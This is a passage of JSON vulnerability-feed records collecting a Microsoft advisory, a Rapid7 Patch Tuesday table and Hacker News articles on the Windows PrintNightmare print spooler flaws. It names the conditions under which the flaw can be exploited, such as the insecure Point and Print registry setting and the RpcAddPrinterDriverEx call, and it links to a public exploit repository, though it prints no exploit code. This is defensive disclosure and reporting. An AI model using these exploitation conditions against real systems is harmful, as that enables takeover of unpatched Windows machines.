\n[CVE-2021-34504](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34504>) | Windows Address Book Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34516](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34516>) | Win32k Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34448](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34448>) | Scripting Engine Memory Corruption Vulnerability | Yes | No | 6.8 | Yes \n[CVE-2021-34441](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34441>) | Microsoft Windows Media Foundation Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34440](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34440>) | GDI+ Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34476](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34476>) | Bowser.sys Denial of Service Vulnerability | No | No | 7.5 | No \n \n## Summary Graphs\n\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-13T20:56:26", "type": "rapid7blog", "title": "Patch Tuesday - July 2021", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-31183", "CVE-2021-31196", "CVE-2021-31206", "CVE-2021-31947", "CVE-2021-31961", "CVE-2021-31979", "CVE-2021-31984", "CVE-2021-33740", "CVE-2021-33743", "CVE-2021-33744", "CVE-2021-33745", "CVE-2021-33746", "CVE-2021-33749", "CVE-2021-33750", "CVE-2021-33751", "CVE-2021-33752", "CVE-2021-33753", "CVE-2021-33754", "CVE-2021-33755", "CVE-2021-33756", "CVE-2021-33757", "CVE-2021-33758", "CVE-2021-33759", "CVE-2021-33760", "CVE-2021-33761", "CVE-2021-33763", "CVE-2021-33764", "CVE-2021-33765", "CVE-2021-33766", "CVE-2021-33767", "CVE-2021-33768", "CVE-2021-33771", "CVE-2021-33772", "CVE-2021-33773", "CVE-2021-33774", "CVE-2021-33775", "CVE-2021-33776", "CVE-2021-33777", "CVE-2021-33778", "CVE-2021-33779", "CVE-2021-33780", "CVE-2021-33781", "CVE-2021-33782", "CVE-2021-33783", "CVE-2021-33784", "CVE-2021-33785", "CVE-2021-33786", "CVE-2021-33788", "CVE-2021-34438", "CVE-2021-34439", "CVE-2021-34440", "CVE-2021-34441", "CVE-2021-34442", "CVE-2021-34444", "CVE-2021-34445", "CVE-2021-34446", "CVE-2021-34447", "CVE-2021-34448", "CVE-2021-34449", "CVE-2021-34450", "CVE-2021-34451", "CVE-2021-34452", "CVE-2021-34454", "CVE-2021-34455", "CVE-2021-34456", "CVE-2021-34457", "CVE-2021-34458", "CVE-2021-34459", "CVE-2021-34460", "CVE-2021-34461", "CVE-2021-34462", "CVE-2021-34464", "CVE-2021-34466", "CVE-2021-34467", "CVE-2021-34468", "CVE-2021-34469", "CVE-2021-34470", "CVE-2021-34473", "CVE-2021-34474", "CVE-2021-34476", "CVE-2021-34477", "CVE-2021-34479", "CVE-2021-34488", "CVE-2021-34489", "CVE-2021-34490", "CVE-2021-34491", "CVE-2021-34492", "CVE-2021-34493", "CVE-2021-34494", "CVE-2021-34496", "CVE-2021-34497", "CVE-2021-34498", "CVE-2021-34499", "CVE-2021-34500", "CVE-2021-34501", "CVE-2021-34503", "CVE-2021-34504", "CVE-2021-34507", "CVE-2021-34508", "CVE-2021-34509", "CVE-2021-34510", "CVE-2021-34511", "CVE-2021-34512", "CVE-2021-34513", "CVE-2021-34514", "CVE-2021-34516", "CVE-2021-34517", "CVE-2021-34518", "CVE-2021-34519", "CVE-2021-34520", "CVE-2021-34521", "CVE-2021-34522", "CVE-2021-34523", "CVE-2021-34525", "CVE-2021-34527", "CVE-2021-34528", "CVE-2021-34529"], "modified": "2021-07-13T20:56:26", "id": "RAPID7BLOG:4B35B23167A9D5E016537F6A81E4E9D4", "href": "https://blog.rapid7.com/2021/07/13/patch-tuesday-july-2021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "mscve": [{"lastseen": "2023-03-17T02:34:07", "description": "A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nUPDATE July 7, 2021: The security update for Windows Server 2012, Windows Server 2016 and Windows 10, Version 1607 have been released. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. If you are unable to install these updates, see the FAQ and Workaround sections in this CVE for information on how to help protect your system from this vulnerability.\n\nIn addition to installing the updates, in order to secure your system, you must confirm that the following registry settings are set to 0 (zero) or are not defined (**Note**: These registry keys do not exist by default, and therefore are already at the secure setting.), also that your Group Policy setting are correct (see FAQ):\n\n * HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint\n * NoWarningNoElevationOnInstall = 0 (DWORD) or not defined (default setting)\n * UpdatePromptSettings = 0 (DWORD) or not defined (default setting)\n\n**Having NoWarningNoElevationOnInstall set to 1 makes your system vulnerable by design.**\n\nUPDATE July 6, 2021: Microsoft has completed the investigation and has released security updates to address this vulnerability. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. If you are unable to install these updates, see the FAQ and Workaround sections in this CVE for information on how to help protect your system from this vulnerability. See also [KB5005010: Restricting installation of new printer drivers after applying the July 6, 2021 updates](<https://support.microsoft.com/topic/31b91c02-05bc-4ada-a7ea-183b129578a7>).\n\nNote that the security updates released on and after July 6, 2021 contain protections for CVE-2021-1675 and the additional remote code execution exploit in the Windows Print Spooler service known as \u201cPrintNightmare\u201d, documented in CVE-2021-34527.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-01T07:00:00", "type": "mscve", "title": "Windows Print Spooler Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-16T07:00:00", "id": "MS:CVE-2021-34527", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-17T02:34:13", "description": "Windows Print Spooler Elevation of Privilege Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-08T07:00:00", "type": "mscve", "title": "Windows Print Spooler Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-02T07:00:00", "id": "MS:CVE-2021-1675", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:39:22", "description": "[](<https://thehackernews.com/images/-wbLrBJlJCfE/YOUa-690-KI/AAAAAAAADG0/6tT84mGPz6gQ_5vYBxhkEE_spk0LW4WpwCLcBGAsYHQ/s0/windows-patch-update.jpg>)\n\nMicrosoft has shipped an [emergency out-of-band security update](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center#1646>) to address a critical zero-day vulnerability \u2014 known as \"PrintNightmare\" \u2014 that affects the Windows Print Spooler service and can permit remote threat actors to run arbitrary code and take over vulnerable systems.\n\nTracked as [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>) (CVSS score: 8.8), the remote code execution flaw impacts all supported editions of Windows. Last week, the company warned it had detected active exploitation attempts targeting the vulnerability.\n\n\"The Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system,\" the CERT Coordination Center said of the issue.\n\nIt's worth noting that PrintNightmare includes both remote code execution and a [local privilege escalation](<https://github.com/calebstewart/CVE-2021-1675>) vector that can be abused in attacks to run commands with SYSTEM privileges on targeted Windows machines.\n\n[](<https://thehackernews.com/images/-NzUbsCmtpLU/YOUekekqtnI/AAAAAAAADG8/HwnD7Xq3_iYftG9BrRvS1tJxIBOomRzXgCLcBGAsYHQ/s0/lpe.jpg>)\n\n\"The Microsoft update for CVE-2021-34527 only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,\" CERT/CC vulnerability analyst Will Dormann [said](<https://www.kb.cert.org/vuls/id/383432>).\n\nThis effectively means that the incomplete fix could still be used by a local adversary to gain SYSTEM privileges. As workarounds, Microsoft recommends stopping and disabling the Print Spooler service or turning off inbound remote printing through Group Policy to block remote attacks.\n\nGiven the criticality of the flaw, the Windows maker has issued patches for:\n\n * Windows Server 2019\n * Windows Server 2012 R2\n * Windows Server 2008\n * Windows 8.1\n * Windows RT 8.1, and\n * Windows 10 (versions 21H1, 20H2, 2004, 1909, 1809, 1803, and 1507)\n\nMicrosoft has even taken the unusual step of issuing the fix for Windows 7, which officially reached the end of support as of January 2020.\n\nThe [update](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), however, does not include Windows 10 version 1607, Windows Server 2012, or Windows Server 2016, for which the Redmond-based company stated patches will be released in the forthcoming days.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-07T03:11:00", "type": "thn", "title": "Microsoft Issues Emergency Patch for Critical Windows PrintNightmare Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T03:38:13", "id": "THN:42B8A8C00254E7187FE0F1EF2AF6F5D7", "href": "https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[](<https://thehackernews.com/images/-4tveTym6-fk/YOZ_5ZwEbHI/AAAAAAAADHs/xXSCpfsipXYpe6tJM2SGaTIDUE9dVGoGwCLcBGAsYHQ/s0/PrintNightmare-Vulnerability-Patch.jpg>)\n\nEven as Microsoft [expanded patches](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center>) for the so-called [PrintNightmare vulnerability](<https://thehackernews.com/2021/07/how-to-mitigate-microsoft-print-spooler.html>) for Windows 10 version 1607, Windows Server 2012, and Windows Server 2016, it has come to light that the fix for the remote code execution exploit in the Windows Print Spooler service can be bypassed in certain scenarios, effectively defeating the security protections and permitting attackers to run arbitrary code on infected systems.\n\nOn Tuesday, the Windows maker issued an [emergency out-of-band update](<https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html>) to address [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>) (CVSS score: 8.8) after the flaw was accidentally disclosed by researchers from Hong Kong-based cybersecurity firm Sangfor late last month, at which point it emerged that the issue was different from another bug \u2014 tracked as [CVE-2021-1675](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) \u2014 that was patched by Microsoft on June 8.\n\n\"Several days ago, two security vulnerabilities were found in Microsoft Windows' existing printing mechanism,\" Yaniv Balmas, head of cyber research at Check Point, told The Hacker News. \"These vulnerabilities enable a malicious attacker to gain full control on all windows environments that enable printing.\"\n\n\"These are mostly working stations but, at times, this relates to entire servers that are an integral part of very popular organizational networks. Microsoft classified these vulnerabilities as critical, but when they were published they were able to fix only one of them, leaving the door open for explorations of the second vulnerability,\" Balmas added.\n\nPrintNightmare stems from bugs in the Windows [Print Spooler](<https://docs.microsoft.com/en-us/windows/win32/printdocs/print-spooler>) service, which manages the printing process inside local networks. The main concern with the threat is that non-administrator users had the ability to load their own printer drivers. This has now been rectified.\n\n\"After installing this [update] and later Windows updates, users who are not administrators can only install signed print drivers to a print server,\" Microsoft [said](<https://support.microsoft.com/en-us/topic/july-7-2021-kb5004948-os-build-14393-4470-out-of-band-fb676642-a3fe-4304-a79c-9d651d2f6550>), detailing the improvements made to mitigate the risks associated with the flaw. \"Administrator credentials will be required to install unsigned printer drivers on a printer server going forward.\"\n\nPost the update's release, CERT/CC vulnerability analyst Will Dormann cautioned that the patch \"only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,\" thereby allowing attackers to abuse the latter to gain SYSTEM privileges on vulnerable systems.\n\nNow, further testing of the update has revealed that exploits targeting the flaw could [bypass](<https://twitter.com/gentilkiwi/status/1412771368534528001>) the [remediations](<https://twitter.com/wdormann/status/1412813044279910416>) entirely to gain both local privilege escalation and remote code execution. To achieve this, however, a [Windows policy](<https://docs.microsoft.com/en-us/troubleshoot/windows-server/printing/use-group-policy-to-control-ad-printer>) called '[Point and Print Restrictions](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/group-policy/point-print-restrictions-policies-ignored>)' must be enabled (Computer Configuration\\Policies\\Administrative Templates\\Printers: Point and Print Restrictions), using which malicious printer drivers could be potentially installed.\n\n\"Note that the Microsoft update for CVE-2021-34527 does not effectively prevent exploitation of systems where the Point and Print NoWarningNoElevationOnInstall is set to 1,\" Dormann [said](<https://www.kb.cert.org/vuls/id/383432>) Wednesday. Microsoft, for its part, [explains in its advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) that \"Point and Print is not directly related to this vulnerability, but the technology weakens the local security posture in such a way that exploitation will be possible.\"\n\nWhile Microsoft has recommended the nuclear option of stopping and disabling the Print Spooler service, an [alternative workaround](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) is to enable security prompts for Point and Print, and limit printer driver installation privileges to administrators alone by configuring the \"RestrictDriverInstallationToAdministrators\" registry value to prevent regular users from installing printer drivers on a print server.\n\n**UPDATE:** In response to CERT/CC's report, Microsoft [said](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) on Thursday:\n\n\"Our investigation has shown that the OOB [out-of-band] security update is working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare. All reports we have investigated have relied on the changing of default registry setting related to Point and Print to an insecure configuration.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-08T04:35:00", "type": "thn", "title": "Microsoft's Emergency Patch Fails to Fully Fix PrintNightmare RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-09T09:52:49", "id": "THN:CAFA6C5C5A34365636215CFD7679FD50", "href": "https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:23", "description": "[](<https://thehackernews.com/images/-RJ_0BYkTxHY/YN7HyUD-_KI/AAAAAAAA4SA/dbXcZli9DPwTnJvla5sgZ3hDzIqO8zLRgCLcBGAsYHQ/s0/windows-print-spooler-vulnerability.jpg>)\n\nMicrosoft on Thursday officially confirmed that the \"**PrintNightmare**\" remote code execution (RCE) vulnerability affecting Windows Print Spooler is different from the issue the company addressed as part of its Patch Tuesday update released earlier this month, while warning that it has detected exploitation attempts targeting the flaw.\n\nThe company is tracking the security weakness under the identifier [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), and has assigned it a severity rating of 8.8 on the CVSS scoring system. All versions of Windows contain the vulnerable code and are susceptible to exploitation.\n\n\"A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\" Microsoft said in its advisory. \"An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\"\n\n\"An attack must involve an authenticated user calling RpcAddPrinterDriverEx(),\" the Redmond-based firm added. When reached by The Hacker News, the company said it had nothing to share beyond the advisory.\n\nThe acknowledgment comes after researchers from Hong Kong-based cybersecurity company Sangfor [published](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) a technical deep-dive of a Print Spooler RCE flaw to GitHub, along with a fully working PoC code, before it was taken down just hours after it went up.\n\n[](<https://thehackernews.com/images/-Zl5E2TyZRFQ/YN7Ej6s8x8I/AAAAAAAA4R4/FEYZ4JpYdakscU9e8eXMl9VEI0Hl1P_SwCLcBGAsYHQ/s0/ms.jpg>)\n\nThe disclosures also set off speculation and debate about whether the June patch does or does not protect against the RCE vulnerability, with the CERT Coordination Center [noting](<https://kb.cert.org/vuls/id/383432>) that \"while Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured.\"\n\nCVE-2021-1675, originally classified as an elevation of privilege vulnerability and later revised to RCE, was remediated by Microsoft on June 8, 2021.\n\nThe company, in its advisory, noted that PrintNightmare is distinct from CVE-2021-1675 for reasons that the latter resolves a separate vulnerability in RpcAddPrinterDriverEx() and that the attack vector is different.\n\nAs workarounds, Microsoft is recommending users to disable the Print Spooler service or turn off inbound remote printing through Group Policy. To reduce the attack surface and as an alternative to completely disabling printing, the company is also advising to check membership and nested group membership, and reduce membership as much as possible, or completely empty the groups where possible.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T05:36:00", "type": "thn", "title": "Microsoft Warns of Critical \"PrintNightmare\" Flaw Being Exploited in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-03T07:11:54", "id": "THN:9CE630030E0F3E3041E633E498244C8D", "href": "https://thehackernews.com/2021/07/microsoft-warns-of-critical.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:54", "description": "[](<https://thehackernews.com/images/-hJTm9-cqglY/YNxU5_qFPTI/AAAAAAAADCE/M7b8MDQXSLEIfe1qnm26-N908L-atUbsQCLcBGAsYHQ/s0/windows-hacking.jpg>)\n\nA proof-of-concept (PoC) exploit related to a remote code execution vulnerability affecting Windows Print Spooler and patched by Microsoft earlier this month was briefly published online before being taken down.\n\nIdentified as [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), the security issue could grant remote attackers full control of vulnerable systems. [Print Spooler](<https://docs.microsoft.com/en-us/windows/win32/printdocs/print-spooler>) manages the printing process in Windows, including loading the appropriate printer drivers and scheduling the print job for printing, among others.\n\nPrint Spooler flaws are concerning, not least because of the wide attack surface, but also owing to the fact that it runs at the highest privilege level and is capable of dynamically loading third-party binaries.\n\nThe Windows maker addressed the vulnerability as part of its [Patch Tuesday](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>) update on June 8, 2021. But almost two weeks later, Microsoft revised the flaw's impact from an elevation of privilege to remote code execution (RCE) as well as upgraded the severity level from Important to Critical.\n\n\"Either the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., tricking a legitimate user into opening a malicious document),\" Microsoft said in its advisory.\n\nThings took a turn when Chinese security firm QiAnXin earlier this week [disclosed](<https://twitter.com/RedDrip7/status/1409353110187757575>) it was able to find the \"right approaches\" to leverage the flaw, thereby demonstrating a successful exploitation to achieve RCE.\n\nAlthough the researchers refrained from sharing additional technical specifics, Hong Kong-based cybersecurity company Sangfor published what's an independent deep-dive of the same vulnerability to GitHub, along with a fully working PoC code, where it remained publicly accessible before it was taken offline a few hours later.\n\nSangfor codenamed the vulnerability \"PrintNightmare.\"\n\n\"We deleted the PoC of PrintNightmare. To mitigate this vulnerability, please update Windows to the latest version, or disable the Spooler service,\" [tweeted](<https://twitter.com/edwardzpeng/status/1409810304091889669>) Sangfor's Principal Security Researcher Zhiniang Peng. The findings are expected to be [presented](<https://www.blackhat.com/us-21/briefings/schedule/#diving-in-to-spooler-discovering-lpe-and-rce-vulnerabilities-in-windows-printer-23315>) at the Black Hat USA conference next month.\n\nWindows Print Spooler has long been a source of security vulnerabilities, with Microsoft fixing at least three issues \u2014 [CVE-2020-1048](<https://www.blackhat.com/us-20/briefings/schedule/index.html#a-decade-after-stuxnets-printer-vulnerability-printing-is-still-the-stairway-to-heaven-19685>), [CVE-2020-1300](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1300>), and [CVE-2020-1337](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1337>) \u2014 in the past year alone. Notably, a flaw in the service was also abused to gain remote access and propagate the [Stuxnet](<https://en.wikipedia.org/wiki/Stuxnet>) worm in 2010 targeting Iranian nuclear installations.\n\n_**Update **_**_\u2014_** There are now indications that the fix released by Microsoft for the critical remote code execution vulnerability in the Windows Print spooler service in June does not completely remediate the root cause of the bug, according to the CERT Coordination Center, raising the possibility that it's a zero-day flaw in need of a patch.\n\n\"While Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does not address the public exploits that also identify as CVE-2021-1675,\" CERT/CC's Will Dormann [said](<https://twitter.com/wdormann/status/1410198834970599425>) in a [vulnerability note](<https://kb.cert.org/vuls/id/383432>) published Wednesday.\n\nIt's worth noting that the successful exploitation of CVE-2021-1675 could open the door to complete system takeover by remote adversaries. We have reached out to Microsoft for comment, and we will update the story when we hear back.\n\nIn light of the latest disclosure, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) is [recommending](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>) that administrators \"disable the Windows Print spooler service in Domain Controllers and systems that do not print.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-30T11:28:00", "type": "thn", "title": "Researchers Leak PoC Exploit for a Critical Windows RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1048", "CVE-2020-1300", "CVE-2020-1337", "CVE-2021-1675"], "modified": "2021-07-02T04:15:41", "id": "THN:EDD5C9F076596EB9D13D36268BDBFAD1", 